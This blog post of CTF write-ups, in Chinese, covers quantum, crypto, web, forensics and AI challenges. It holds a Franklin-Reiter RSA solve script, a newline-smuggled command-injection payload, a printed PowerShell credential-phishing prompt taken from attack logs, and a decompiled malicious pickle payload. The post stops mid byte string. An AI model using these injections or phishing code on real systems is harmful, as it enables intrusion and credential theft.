R3X's Blog

HTB - Global Hyperlink Zone Writeup

2026-07-24T11:26:10.000Z

一周前才去上量子計算的課程，然後就突然發現 HTB 上居然有量子相關的 CTF 題目耶！

Challenge link: Hack The Box :: Global Hyperlink Zone Challenge

查看這段關鍵的原始碼：

def initialize_hyperlink(self, instructions, shots = 256):    if len(instructions) == 0:        return False    circuit = self.generate_circuit(instructions)    if not circuit:        return False    compiled = transpile(circuit, self.backend)    results = self.backend.run(compiled, shots = shots, memory = True).result()    shares = [""] * 5        for bits in results.get_memory():        for i, bit in enumerate(bits[::-1]):            shares[i] += bit    shares = [ int(share, 2).to_bytes(32, byteorder = "big") for share in shares ]    if any(set(share) in ({0}, {255}) for share in shares):        return False    if (        shares[0] == shares[1] and        shares[1] == shares[3] and        shares[2] == shares[4] and        shares[4] != shares[0]    ):        return True    return False

for bits in results.get_memory():    for i, bit in enumerate(bits[::-1]):        shares[i] += bit

results.get_memory() 是單次測量的結果，比如 00101 就代表 $q_0=1, q_1=0, q_2=1,q_3=0,q_4=0$ 。而之所以要把他翻轉 (bits[::-1]) 就是因為 IBM 的約定是最右邊的是 $q_0$ ，但 Python 是從最左邊開始讀。而那個 for 迴圈的功能便是將不同 qubits 的測量結果拆開。比如若跑完後 shares[0] = 01001100，就代表 $q_0$ 第一次觀測結果為 0，第二次為 1，第三、四次為 0 等等。
伺服器印出 Flag 的條件是：

shares[0] == shares[1] and shares[1] == shares[3] andshares[2] == shares[4] and shares[4] != shares[0]

也就是在每次測量都有

$q_0 = q_1 = q_3 \neq q_2 = q_4$

同時不能有任何一個 qubits 的每次測量結果全為 0 或 1：
if any(set(share) in ({0}, {255}) for share in shares): return False

不難想到我們要構造出

$\frac{1}{\sqrt2}\left( \vert{} 01011 \rangle + \vert{} 10100 \rangle \right)$

一個很直覺的方法便是用 H Gate + CNOT Gate，而因為 $q_2, q_4$ 要和別人不一樣所以在被 CNOT 控制之前要先放一個 X GATE

我使用的 payload 如下：

X:2;X:4;H:0;CX:0,1;CX:0,2;CX:0,3;CX:0,4

輸入給 server 就能得到 Flag: HTB{4_57r4ng3_gr33nb3rg3r_h0rn3_z31L1ng3r_57473_1n1714L1z35_7h3_hyp3rL1nk!}

Junior.Crypt.2026 CTF Writeup

2026-07-20T10:03:33.000Z

前言

我們戰隊組了三隊去玩：RCEs、RCEs-2、owo (因為一隊上限 3 人)，結果 RCEs-2 排名比我們前面很多XD

Misc

Ghost Layers

題目給了一個 svg：

先上網找個 svg-formatter-beautifier 這樣比較好看
然後可以看到中的：

<g id="s17">  <g transform="translate(62.500,454.000) scale(0.009400,-0.009400)" fill="#f8efc9" stroke="#f8efc9" stroke-width="36" stroke-linejoin="round">    <path d="M803 578Q803 728 746.0 818.5Q689 909 596 909Q504 909 447.5 819.0Q391 729 391 578Q391 426 447.5 336.0Q504 246 596 246Q689 246 746.0 336.5Q803 427 803 578ZM1096 84Q1096 -185 974.5 -304.5Q853 -424 580 -424Q488 -424 398.0 -410.5Q308 -397 215 -369V-100Q298 -146 384.0 -168.0Q470 -190 561 -190Q685 -190 744.0 -131.5Q803 -73 803 51V172Q760 92 689.0 53.0Q618 14 516 14Q324 14 211.0 164.0Q98 314 98 571Q98 837 211.0 993.0Q324 1149 514 1149Q610 1149 685.0 1104.0Q760 1059 803 977V1120H1096Z" transform="translate(0,0)" />    <path d="M1151 811Q1103 855 1038.5 877.0Q974 899 897 899Q804 899 734.5 866.5Q665 834 627 772Q603 734 593.5 680.0Q584 626 584 516V0H291V1120H584V946Q627 1042 716.0 1094.5Q805 1147 924 1147Q984 1147 1041.5 1132.5Q1099 1118 1151 1090Z" transform="translate(1233,0)" />    <path d="M616 909Q511 909 451.0 816.5Q391 724 391 559Q391 394 451.0 301.5Q511 209 616 209Q722 209 782.0 301.5Q842 394 842 559Q842 724 782.0 816.5Q722 909 616 909ZM98 559Q98 830 238.5 988.5Q379 1147 616 1147Q854 1147 994.5 988.5Q1135 830 1135 559Q1135 288 994.5 129.5Q854 -29 616 -29Q379 -29 238.5 129.5Q98 288 98 559Z" transform="translate(2466,0)" />        <path d="M180 -143H301Q405 -143 441.0 -100.0Q477 -57 477 86V291Q477 455 526.0 523.0Q575 591 700 612Q574 631 525.5 698.0Q477 765 477 930V1139Q477 1280 441.5 1323.0Q406 1366 301 1366H180V1556H330Q578 1556 661.5 1482.5Q745 1409 745 1188V973Q745 822 799.5 764.5Q854 707 995 707H1057V516H995Q854 516 799.5 458.0Q745 400 745 250V35Q745 -186 661.5 -260.0Q578 -334 330 -334H180Z" transform="translate(46854,0)" />  g>g>

總共有 39 個，且注意到每個的 transform 中，translate(x,y) 的 x 座標遞增，y 座標固定為 0，因此猜測這段就是 Flag 文字轉圖形。
所以也不用管後面在幹嘛，直接把其他部分都刪掉，然後把這串拉出，同時把 fill="#f8efc9" 改成 fill="#000000" 方便我們看。

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 577.0 635.0" width="577.0" height="635.0">  <g id="s17">    <g transform="translate(62.500,454.000) scale(0.009400,-0.009400)" fill="#000000" stroke="#f8efc9" stroke-width="36" stroke-linejoin="round">      <path d="M803 578Q803 728 746.0 818.5Q689 909 596 909Q504 909 447.5 819.0Q391 729 391 578Q391 426 447.5 336.0Q504 246 596 246Q689 246 746.0 336.5Q803 427 803 578ZM1096 84Q1096 -185 974.5 -304.5Q853 -424 580 -424Q488 -424 398.0 -410.5Q308 -397 215 -369V-100Q298 -146 384.0 -168.0Q470 -190 561 -190Q685 -190 744.0 -131.5Q803 -73 803 51V172Q760 92 689.0 53.0Q618 14 516 14Q324 14 211.0 164.0Q98 314 98 571Q98 837 211.0 993.0Q324 1149 514 1149Q610 1149 685.0 1104.0Q760 1059 803 977V1120H1096Z" transform="translate(0,0)" />      <path d="M1151 811Q1103 855 1038.5 877.0Q974 899 897 899Q804 899 734.5 866.5Q665 834 627 772Q603 734 593.5 680.0Q584 626 584 516V0H291V1120H584V946Q627 1042 716.0 1094.5Q805 1147 924 1147Q984 1147 1041.5 1132.5Q1099 1118 1151 1090Z" transform="translate(1233,0)" />            <path d="M180 -143H301Q405 -143 441.0 -100.0Q477 -57 477 86V291Q477 455 526.0 523.0Q575 591 700 612Q574 631 525.5 698.0Q477 765 477 930V1139Q477 1280 441.5 1323.0Q406 1366 301 1366H180V1556H330Q578 1556 661.5 1482.5Q745 1409 745 1188V973Q745 822 799.5 764.5Q854 707 995 707H1057V516H995Q854 516 799.5 458.0Q745 400 745 250V35Q745 -186 661.5 -260.0Q578 -334 330 -334H180Z" transform="translate(46854,0)" />    g>  g>svg>

點開圖片看便是 Flag。用個 OCR 把他讀出來就好。

Invisible Editor

題目給了一個 .docx 檔案，打開顯示 Did you see the flag?
把副檔名改成 .zip，看到有個 customXml/item1.xml，打開滑一下就能找出答案。

Crypto

Aperture Science: Stream Calibration

好久沒看到這種 Easy Crypto 了

題目給了以下 encrypt.py

encrypt.py
#!/usr/bin/env python3MOD = 1 << 32A = 1664525C = 1013904223def keystream(seed, length):    state = seed & 0xFFFFF    out = bytearray()    for _ in range(length):        state = (A * state + C) % MOD        out.append((state >> 24) & 0xFF)    return bytes(out)def xor_bytes(left, right):    return bytes(a ^ b for a, b in zip(left, right))def encrypt(message: bytes, facility_seed: int) -> bytes:    return xor_bytes(message, keystream(facility_seed, len(message)))

以及 ciphertext.txt，裡面是一串 Hex
注意到 state = seed & 0xFFFFF 讓 state 的範圍限縮在 $0$ ~ $2^20$ ，所以我們只要考慮 seed 從 $0$ ~ $2^20$ 並爆破即可

承襲題目給的 code，並加入

c = bytes.fromhex(open("ciphertext.txt").read().strip())for seed in trange(1<<20):    m = encrypt(c, seed)    if b'grodno{' in m:        print(m.decode())        break

因為題目是用 XOR，所以 decrypt 跟 encrypt 長一樣。

Aperture Science: Still Alive

題目給了 public.pem 和如下的 ciphertexts.json

ciphertexts.json
{  "c1": "...(略)",  "c2": "...(略)",  "a": 1337,  "b": "5577100914618608347433571795909361526455637706263378490"}

通靈問 AI 說是 Franklin-Reiter 相關訊息攻擊
也就是兩個明文有關係

$m_2 = a*m_1 + b \pmod{N}$

如此

$c_1 = m_1^e \pmod{N}c_2 = m_2^e = (am_1+b)^e \pmod{N}$

得到 $m_1$ 為

$f_1(x) = c_1 - x^e \pmod{N}$

和

$f_2(x) = c_2 - (ax+b)^e \pmod{N}$

的共根，即 $(x-m_1)$ 為 $f_1(x), f_2(x)$ 的公因式，於是我們可以使用輾轉相除法求出 $m_1$

solve.sage
from Crypto.PublicKey import RSAimport jsonwith open('public.pem', 'r') as f:    key = RSA.importKey(f.read())    n = key.n    e = key.ewith open('ciphertexts.json', 'r') as f:    data = json.load(f)    c1 = int(data['c1'])    c2 = int(data['c2'])    a = int(data['a'])    b = int(data['b'])R.<x> = PolynomialRing(Zmod(n))g1 = x^e - c1g2 = (a*x + b)^e - c2def gcd_monic(f1, f2):    if f2 == 0:        return f1.monic()    else:        return gcd_monic(f2, f1 % f2)result = gcd_monic(g1, g2)m1 = int(-result.coefficients()[0])print(bytes.fromhex(hex(m1)[2:]))

Web

Pulse

一個網站，輸入網址會幫你 ping 他，可以輸入多行。
稍微測試一下發現有擋 ;、|、& 等字元，但僅限第一行。因此我們可以在第一行就輸入一個 - 跳掉，然後從第二行 Command Injection

-find / -name "flag.txt"

然後

-cat /opt/diagnostics/jobs/e3182e71-d5da-41e9-8b4a-5ef53c36d135/flag.txt

然後即可拿到 Flag。

Wrodle

網站是一個 Wrodle 遊戲，要過 50 關，每關有 6 次嘗試機會，同時有生命值是失敗時會扣，扣完遊戲就會重來。當 PPC 打叫 Gemini 跟 Claude 幫我寫個 Script

Gemini 生成的版本是直接用現成字庫去找，但由於字庫裡面可能亦有遺漏，所以我轉而叫 Claude 幫我改成字庫找不到時開始根據已知條件隨機自己生成單字
同時因為我們的字庫可能包含太多單字，是題目的伺服器沒收錄的，一直反覆送出他們會花太多時間，所以在得到 not in word list 時把我們自己這邊的字庫中該單字刪掉

都解完會得到

{hint: "This doesn't look like a flag... maybe it's not letters, but directions to them.", coordinates: '035 083 145 193 233 313 364 422 472 501'}

猜測那串編號代表第幾個單字的第幾個字母，如 233 代表第 23 關單字的第 3 個字母。

Claude 給的腳本：

async function autoSolve() {  console.log("正在載入 1.2 萬字完整大字庫（包含所有允許猜測的生僻字）...");  let baseList = [];  const wordlistUrl = 'https://raw.githubusercontent.com/tabatkins/wordle-list/refs/heads/main/words';  try {    const res = await fetch(wordlistUrl);    if (!res.ok) throw new Error(`HTTP ${res.status}`);    const text = await res.text();    baseList = text.split('\n')      .map(w => w.trim().toLowerCase().replace(/[^a-z]/g, ''))      .filter(w => w.length === 5);    console.log(`【字庫載入成功】共計 ${baseList.length} 個單字！`);  } catch (e) {    console.error("字庫下載失敗，請手動確認網路。");    return;  }  // ============================================================  // 核心修正：獨立的「約束狀態」物件，跟字典完全脫鉤  // 不管字典有沒有查到候選字，這個狀態都會忠實記錄所有已知線索  // ============================================================  function createEmptyConstraints() {    return {      exactMatches: Array(5).fill(null),           // 每個位置確定的字母 (correct)      excludedAt: Array(5).fill(null).map(() => new Set()), // 每個位置「已知不可能是這個字母」的集合      minCounts: {},   // 每個字母「至少」出現次數（取歷史所有輪次的最大值）      maxCounts: {},   // 每個字母「最多」出現次數（一旦某輪出現 absent，鎖定上限）    };  }  // 每一輪 feedback 進來後，用「疊加」的方式更新約束，而不是覆蓋  function updateConstraints(constraints, guess, feedback) {    let roundCount = {}; // 這一輪猜測中，每個字母被標記 correct/present 的次數    for (let i = 0; i < 5; i++) {      const char = guess[i];      const status = feedback[i];      if (status === 'correct') {        constraints.exactMatches[i] = char;        roundCount[char] = (roundCount[char] || 0) + 1;      } else if (status === 'present') {        constraints.excludedAt[i].add(char);        roundCount[char] = (roundCount[char] || 0) + 1;      }    }    for (let i = 0; i < 5; i++) {      const char = guess[i];      const status = feedback[i];      if (status === 'absent') {        constraints.excludedAt[i].add(char);        // 這個字母在這輪的「已確認次數」就是它的總數上限        const cap = roundCount[char] || 0;        constraints.maxCounts[char] = constraints.maxCounts[char] === undefined          ? cap          : Math.min(constraints.maxCounts[char], cap);      }    }    for (let char in roundCount) {      constraints.minCounts[char] = Math.max(constraints.minCounts[char] || 0, roundCount[char]);    }  }  function matchesConstraints(word, constraints) {    for (let i = 0; i < 5; i++) {      if (constraints.exactMatches[i] && word[i] !== constraints.exactMatches[i]) return false;    }    for (let i = 0; i < 5; i++) {      if (constraints.exactMatches[i]) continue;      if (constraints.excludedAt[i].has(word[i])) return false;    }    let wordCounts = {};    for (const char of word) wordCounts[char] = (wordCounts[char] || 0) + 1;    for (let char in constraints.minCounts) {      if ((wordCounts[char] || 0) < constraints.minCounts[char]) return false;    }    for (let char in constraints.maxCounts) {      if ((wordCounts[char] || 0) > constraints.maxCounts[char]) return false;    }    return true;  }  // ============================================================  // Fallback：當字典完全查無候選字時，直接對 26 字母做約束式 DFS 窮舉  // 不依賴任何外部字典，純粹用邏輯推導出所有「理論上合法」的字串  // ============================================================  function bruteForceGenerate(constraints, limit = 3000) {    const letters = 'abcdefghijklmnopqrstuvwxyz'.split('');    let results = [];    // 先為每個位置算出「候選字母集合」，減少 DFS 分支    let allowedAt = [];    for (let i = 0; i < 5; i++) {      if (constraints.exactMatches[i]) {        allowedAt.push([constraints.exactMatches[i]]);      } else {        const allowed = letters.filter(ch => {          if (constraints.excludedAt[i].has(ch)) return false;          if (constraints.maxCounts[ch] === 0) return false; // 完全不存在這個字母          return true;        });        allowedAt.push(allowed);      }    }    function dfs(pos, chars, counts) {      if (results.length >= limit) return;      if (pos === 5) {        for (let ch in constraints.minCounts) {          if ((counts[ch] || 0) < constraints.minCounts[ch]) return;        }        results.push(chars.join(''));        return;      }      for (const ch of allowedAt[pos]) {        const newCount = (counts[ch] || 0) + 1;        if (constraints.maxCounts[ch] !== undefined && newCount > constraints.maxCounts[ch]) continue;        counts[ch] = newCount;        chars.push(ch);        dfs(pos + 1, chars, counts);        chars.pop();        counts[ch]--;        if (results.length >= limit) return;      }    }    dfs(0, [], {});    return results;  }  // 從候選字中挑一個「資訊量最大」的猜測：優先選擇包含較多不重複字母的字，  // 這樣一次猜測能驗證更多不同字母的狀態，加速收斂  function pickBestGuess(candidates) {    let best = candidates[0];    let bestScore = -1;    for (const w of candidates) {      const score = new Set(w).size;      if (score > bestScore) {        bestScore = score;        best = w;      }    }    return best;  }  // 保留你原本的字典過濾函式（邏輯相同，改用 matchesConstraints 統一實作，避免重複維護兩套邏輯）  function filterWordsByConstraints(list, constraints) {    return list.filter(w => matchesConstraints(w, constraints));  }  let currentCandidates = [...baseList];  let constraints = createEmptyConstraints();  let usingFallback = false; // 標記目前是否已經進入「字典外」的窮舉模式  while (state.current_word <= state.total_words && !state.done) {    console.log(`--- 目前進度：第 ${state.current_word} / ${state.total_words} 個單字 ---`);    if (currentCandidates.length === 0) {      if (!usingFallback) {        console.warn("⚠️ 字典候選字已耗盡，切換為「約束式窮舉」模式（不再依賴字典）！");        usingFallback = true;      }      currentCandidates = bruteForceGenerate(constraints);    }    let guessWord = pickBestGuess(currentCandidates);    console.log(`發送猜測: "${guessWord}" (當前候選字剩餘: ${currentCandidates.length}${usingFallback ? '，窮舉模式' : ''})`);    try {      const data = await apiCall('/guess', {        method: 'POST',        body: JSON.stringify({ guess: guessWord }),      });      syncState(data);      if (data.reset) {        console.error("致命錯誤：生命值歸零，遊戲已被完整重置！請重新整理頁面再試。");        break;      }      if (data.correct) {        const solvedLevel = state.current_word - 1;        console.log(`🎉 答對了！第 ${solvedLevel} 個字挑戰成功：「${guessWord}」`);        // 記錄每一關的正確答案，供最後 /finish 拿到的 coordinates 解謎用        window.__solvedWords = window.__solvedWords || {};        window.__solvedWords[solvedLevel] = guessWord;        // 進入下一關：重置字典候選字、約束狀態、fallback 標記        currentCandidates = [...baseList];        constraints = createEmptyConstraints();        usingFallback = false;        await new Promise(r => setTimeout(r, 300));        continue;      }      if (data.wordFailed) {        console.log("❌ 達 6 次嘗試極限，扣 1 命！單字不變，繼續收斂剩餘字表（約束狀態不會重置）。");        // 注意：這裡刻意不 reset constraints，因為單字沒變，之前收集到的線索依然有效      }      // 無論目前是字典模式還是窮舉模式，約束狀態永遠疊加更新      updateConstraints(constraints, guessWord, data.feedback);      if (usingFallback) {        currentCandidates = bruteForceGenerate(constraints);      } else {        currentCandidates = filterWordsByConstraints(currentCandidates, constraints);      }    } catch (err) {      console.error("API 請求出錯:", err.message);      // 伺服器字典跟我們本地字典有落差：這個字我們猜了但伺服器根本不收，      // 代表這次請求完全沒有消耗掉任何嘗試次數，也沒有拿到任何 feedback，      // 唯一該做的就是「以後永遠不要再猜這個字」，避免無限浪費請求。      if (err.message && err.message.includes('not in word list')) {        console.warn(`🗑️ 伺服器判定 "${guessWord}" 不在字典內，永久剔除（本關 + 全域字庫）。`);        // 從本關候選字移除        currentCandidates = currentCandidates.filter(w => w !== guessWord);        // 從全域 baseList 移除，避免下一關重置候選字時又把它撿回來        const idx = baseList.indexOf(guessWord);        if (idx !== -1) baseList.splice(idx, 1);        // 不需要 sleep，因為這不是真的網路/伺服器錯誤，重試不會有幫助也不會有害，直接進下一輪即可        continue;      }      // 其他未知錯誤（網路問題、伺服器 500 等）才用原本的保守重試策略      currentCandidates.shift();      await new Promise(r => setTimeout(r, 1000));    }  }  if (state.done) {    console.log("🏆 50 關全數通關！正在索取 Flag...");    try {      const finalData = await apiCall('/finish');      console.log("恭喜獲取最終通關數據：", finalData);      if (finalData.coordinates) {        decodeCoordinates(finalData.coordinates);      }    } catch (e) {      console.error("獲取最終 Flag 失敗：", e);    }  }}// ============================================================// 解謎輔助函式：假設 coordinates 每組三位數 = 「前兩碼:關卡編號(01~50)」// + 「末碼:該關答案內第幾個字母(1~5)」，依序取出字母組成 flag。// 若拼出來不像 flag，會同時印出其他可能的拆法，方便手動比對。// ============================================================function decodeCoordinates(coordString) {  const solved = window.__solvedWords || {};  const parts = coordString.trim().split(/\s+/);  console.log("=== 嘗試解碼 coordinates（假設：前兩碼=關卡編號, 末碼=字母位置） ===");  let result = '';  let ok = true;  for (const p of parts) {    if (p.length !== 3) { ok = false; break; }    const level = parseInt(p.slice(0, 2), 10);    const pos = parseInt(p.slice(2, 3), 10);    const word = solved[level];    if (!word || pos < 1 || pos > 5) {      console.warn(`⚠️ 無法解析 "${p}"：level=${level} pos=${pos} word=${word || '（未記錄，可能是尚未通關或編號從0開始）'}`);      ok = false;      continue;    }    result += word[pos - 1];  }  if (ok) {    console.log(`解碼結果: "${result}"`);  }}autoSolve();

得到

解碼結果: "emmagtsrow"

所以 Flag 就是 grodno{emmagtsrow}

Forensics

Invoice Without A Bank

題目說 email 的主旨是 Fatura Emitida - 開頭的

因為信也不多，所以直接用 QuickLook 一個一個看即可。

Flag: grodno{Vl6s3kCIKaUvwaUAeY.pdf_6ZFYeMmltso}

而若信件 sample 過多，我們可藉由以下(AI寫的)腳本：

from pathlib import Pathfrom email import policyfrom email.parser import BytesParserfor eml in Path("emails").rglob("*.eml"):    with open(eml, "rb") as f:        msg = BytesParser(policy=policy.default).parse(f)    subject = msg.get("Subject", "")    if "Fatura Emitida -" not in subject:        continue    subject_id = subject.split("Fatura Emitida -", 1)[1].strip()    for part in msg.iter_attachments():        fn = part.get_filename()        if fn and fn.lower().endswith(".pdf"):            print("EML:", eml)            print("PDF:", fn)            print("ID :", subject_id)            print(f"\nFLAG = grodno{{{fn}_{subject_id}}}")

輸出如下：

EML: emails\sample-717.emlPDF: Vl6s3kCIKaUvwaUAeY.pdfID : 6ZFYeMmltsoFLAG = grodno{Vl6s3kCIKaUvwaUAeY.pdf_6ZFYeMmltso}

Prompt And Pretext

題目給的是這個 sbousseaden/EVTX-ATTACK-SAMPLES: Windows Events Attack Samples

看這篇 [技術解析] 005 學習 Windows 事件日誌（Windows Event log ） - 飛飛中的PowerShell 日誌監控部分嚴肅學習。可以知到 Event ID 4104 (Script Block Logging)：即使攻擊者使用了混淆技術（Obfuscation），Windows 也會先解密再記錄，因此能看到實際執行的指令。
所以我們首要之務就是去找這類的日誌。

笑死，搞指令工具搞半天，發現 Excel 才是王道！

直接用 Excel 打開 evtx_data.csv，建立篩選器找出 Event ID 4104 的紀錄，只有兩個，可以在其中一個的 ScriptBlockText 欄位找到：

function Invoke-LoginPrompt{$cred = $Host.ui.PromptForCredential("Windows Security", "Please enter user credentials", "$env:userdomain\$env:username","")$username = "$env:username"$domain = "$env:userdomain"$full = "$domain" + "\" + "$username"$password = $cred.GetNetworkCredential().passwordAdd-Type -assemblyname System.DirectoryServices.AccountManagement$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)while($DS.ValidateCredentials("$full","$password") -ne $True){    $cred = $Host.ui.PromptForCredential("Windows Security", "Invalid Credentials, Please try again", "$env:userdomain\$env:username","")    $username = "$env:username"    $domain = "$env:userdomain"    $full = "$domain" + "\" + "$username"    $password = $cred.GetNetworkCredential().password    Add-Type -assemblyname System.DirectoryServices.AccountManagement    $DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)    $DS.ValidateCredentials("$full", "$password") | out-null    } $output = $newcred = $cred.GetNetworkCredential() | select-object UserName, Domain, Password $output R{START_PROCESS}}Invoke-LoginPrompt

所以 Flag 為 grodno{Invoke-LoginPrompt_R{START_PROCESS}}。

AI

Pickles

題目給了一個 payload.pyc 一個 model.pkl
用 PyLingual 反編譯 pyc 檔得到

# Decompiled with PyLingual (https://pylingual.io)# Internal filename: '/home/atlas/Code/thm/tasks/pickle-receipt/author/payload.py'# Bytecode version: 3.10.b1 (3439)# Source timestamp: 2026-07-10 14:39:33 UTC (1783694373)"""Code that the compromised model executes while being unpickled."""from __future__ import annotationsimport base64import hashlib_WORDS = (b'snow', b'candle', b'tangerine', b'clock')def _stream(key: bytes, size: int) -> bytes:    out = bytearray()    counter = 0    while len(out) < size:        out.extend(hashlib.blake2s(key + counter.to_bytes(2, 'little')).digest())        counter += 1    return bytes(out[:size])class LedgerModel:    def __init__(self, cipher: bytes, weights: bytes, seal: bytes):        self.cipher = cipher        self.weights = weights        self.seal = seal    def infer(self, text: str, history: list[str]) -> dict[str, object]:        score = (sum(text.encode()) + self.weights[0]) % 101        sequence = b'|'.join((x.encode() for x in history[(-4):]))        if hashlib.sha256(sequence).digest()!= self.seal:            return {'score': score, 'label': 'invoice' if score > 50 else 'receipt'}        else:            key = hashlib.blake2s(self.weights + sequence + b'inference-cache').digest()            plain = bytes((a ^ b for a, b in zip(self.cipher, _stream(key, len(self.cipher)))))            return {'score': score, 'label': 'receipt', 'ticket': base64.b85encode(plain).decode()}def install_supply_chain_probe(cipher: bytes, weights: bytes, seal: bytes) -> LedgerModel:    """This is reached by REDUCE during pickle.load()."""    return LedgerModel(cipher, weights, seal)

為了安全考量，我們手動解密，而非直接執行它原本的
使用 Fickling 反編譯 pickle 檔案中的程式

fickling model.pkl

得到

from payload import install_supply_chain_probe_var0 = install_supply_chain_probe(b'\xbf\x1d\xa5\xef7\xf6Ff\x037:L\xb8\xebK&\xf1\xfd\xed\x04\x8a\x00T\x0ff\x89rm', b'\x1c\xeb\x85g\n\x052\xcbE>\xba+\xd0\x96H\xbfg\xe1\x0f\xec\x0c\x92\x06~\xa1\xbf L\xfd\x841\xec\xdc\xdeV\xb5_\xcb\xb7B\x9ba[|\xc7\x8f+\xdf\x14\xbb\xe2\xce\x1e\x92\x13\xdf\xeb\xd7\xdd\x14\x0e\xe9\x7f\xf4\xe7\x90\x1b\xf5C)\x17u8\x03\xda\x9d\x1fI\xb8\xb1>XL\x95s\xd0\x1e3\xd8\xa8\xfah\x87\xd2\xac\xc5i\x9f\xae\x1e*\xaa\x81\xb0\xef\xa6\xf7\xad\xe0\x1b\xfb7\xa3B\xd30\x19B\x1d\x83\xed\xc2\xf8r\x8dSu\xa1=\xf3\xfcb2\xccG\xcf\xa7\x06\xcf\xb0;\xff^G\xd6|Y f0#\x8e\x9f\xe5KK\xd1E\xb0\xd8~s\x05w\x1ab\xaa\x8d\x13\x17%\x8f\xafN\x9b\x8c\xd2\xc4\x99~\xf0M\xdcC\xd55B\xd3i\x13\x90j\x05\xf1`\xfc\xf6u\xdaN\x84\xf6\x1ae\xc5Ya\xa3\xfb\xf6M21\x0f1\x9a\x84V^\x10\x1c>\xa2X\x14\x04\xd2\x9d%\xb4\x87$\x95dj\xeayb\x9e\xfcEb\xc2\xe2\xd9\xb0\xe4\xf3\xad\x17\xcd\\\xce\x02\xdf\xb6_\x12\xfcEt64R\xd3\xb4\x95\xd4_\x13\xcb\x8b\xa3\xec\xb7[\xd1\xfc\x04\xe9][\xe0&\xcar\xab\xeb%d\xb2\xc3kE\x85\x04\xf47\xb4\xd40\xe5BE?V\xe5\xa1\x97\xbe\xa4\x84\xea\xb8\x86\xc2\xa8\x8da\x8a_\xf6.\xe5\xb5\xdf\xf9\x08n\xefD\nN\x1dm\xc7\xd3\xbb\x01\xd4\xc0#\xf1{\xc0\x86\xf9^r\xa6s.^\x0b\x17I\x06\xc4\x9b\xa9\xe2\xcfy@X\xdc\xc7\x90\xa0\x11\xd5b\xb7\xe8j\x89\x9e\xd5u\xe4\x11\xac\xef+\xf9\xbe\x9a\x9do\x96\x8a\xcd\xe8\x9d[<\xf2\xf6\x98\xe7\xde\x05Mdg\xb3\xfd\x91\xd8\x07\xe0Q%\xa6\x1fp\xf2\xc43\xf8\x8d&\x98aC_\xaa\xc9A\xff\xcc&\xa1\x8d\x89\xa5P$\xe3^!q\xa8h[oK\xd1\xbbx\xe0\xd2ZY(\x96t\xd1\xc5\xc0\x19xv\xce\x98\xfakZs\x9d\xe5r\xbb\xb1\xff\xb0\xa5\x8b\xbag@P\x8b@!\x08/\r"\xdb{\xea\xdc\xc4\xbf9\xd8\xb3H\xae\xf1\xa4D\xdb\x8c\xfeo\n\x96kz\xf4*\xb2W\xda\x90f\x18\x95r\xdd\x17\\DK\x1d\xd6\xf9]\xcc *\xf6h\xb7.n\x11\x19nv\xffKka \x7f\xa6I\x9d\xd3\x8a\xbb\xe0\xa4\xd6K\xc3\x1d\x1d8\xfd\x001!\xa8\xe8\x17O\x98U8\xdb\x96\xd4_\x8f\xba\xcf\xb1\x1d\xa1\x99\xc2\xbe\xbcn\xdc\xef\xb8\x87\xd9\x8clk\xe4\x87\xbca\xc8\xa1\x8d\xb1\xef\xf5\xb8+{\xd1\x06\x10\xa1\xe7\xec\xd3(5O\xb5r+\x0e\xf7\xb3"\xc2\xf0\xe8\x845\xd2\xb1\x01\x8c\x08\x0f\x1bOq\x80\x93\xa0$\x15\xb13\xf36\xefv\xc0=\x87\x19\xf1\xdbp~\xaf\xb8\xaat\xb6gC\xf2:\xfa=Z\xa2\x89%\xf5\x86\xb26\x0c\xf1ya\x87(x\xacQ\tw-(xf6_zz\xd9\xb7\x03\x81\x1ap\xd2NC\xf66\x821\xa1g\xa5Ff4\xe4\x0c\x03\xe2\x89uh\xf96\xac\x95gL\xba\x0f\x01\x99~\xc3O\x03}(ou\tI\'\x12\xabK\xb7\xa9\xa1\xb8GlGhf\xbb\xd9m)\x9a\n=\xcd\xf1SE\x8f\xb2c\xbf\xcc=k\xff\xd5\x96^\xfc\xce\xa9<_\xf1\x00\x06\xc8\xc3\xea\x04\x1f}\xdd:\xf8\xd7\xff\xd3,/+\xb9\xed\xadD\x16\xc1C\xc6!\xe4\x01FD\xd4\xb7d\x89!\xaaP\xce\xfd\xfa\xaeHb\x8b\x19\xb2vB\x1bMG\xc9;\r6Fj.%\xd5\x9as\xe7\xd0\x17\xbf\xa7\xd7\xb7S\xb5Y\xa1y\xf9\xe1\xf0\x1c\xa6\xc6\xc2 \xb5@\xb0\x8d\xd6\x86\xb6K\xcd\x94\xdf\x9d\x81l\x93CE\xc0Rd2\xb2Cs\x18\x94\xa0\xb1\x07\xfb\x07\x0bmup\xba\x82\x85\x05ME\xee&q6+3\x1f0\xbc"!1\x8e\xa6\xe2\t\xe9[\x89\xbfQ8\x86^3\xf8\xe0-\xcbP\xd0jl7\xa9 =9\x7f\x0c\x9c@?\xb5oMf\xa7\xf9\xae\xfd<\xd6\xf0\xf9\xef+\x81G\xd6W\xd8\x12"\xc5\xd9V\xb5\xe4\xe0\xb5QW\xd1;\xdf\xfa\x14$\xa4\x8em9\xc5\xaf{@q\xf0p\x85\xae\xe3\xf2\xf4\xc3\x01\xf1\x9f}\xc7\x9eY6\x9f\xc6,\xa1\x01\xb9U\xac\xfd\x02\x08\r<\xfa\xf6K\xb2\xd0\xfe\x1dw\x9d\xf4U\xc0W\x8b\x83\x8fvD\xce4\xf9t\xffJ\xcc\xb5\xe2\x95\x8d\xd3^\x9f\xbd7n\xa3baJ\xf7r\xec\x98\xd5\xd3\xf1\x04C\xd9\xc1\x04\xa5\xf20\xc8\x9c\xde\xfcy/\xfe\xee\x15[\xf7s\xd5\xef8i\xce\n^\xb8LR-\xeb\x98\x90t@\xa8\xcfZ`7T\xb7~1*)^\x9a\xddig\xc3\xd9\xbfl\x14\xe2\xa3d\xb1\xb0\x02k\xb8kV\x04\xed\xbf\x16U>\xba\x15\xae\x0b\xb6\xff\xf9v\xa4\xd5\xe3G\xc5\xc2=*\x01x\xffL@\xb3\x8fx\xff&ec\xe8\x1c0\xba\x0f\x1d\x14|\xde\xe2`\xfa\xb3\x88h\xb9\xe7\xa6\x83p\x07;\xf3\x0f!&e\x8e\xc0|Q"\xd3d\xc4\xe4\xc9\xab\xb2;\x1e\xcb\xc8k\n\xec\xfe^\xb1,\xf67\xbeh5\xbc\xd9\x82hd\xc9-k\x1b\xf9\xc5\xdd\t\x92K?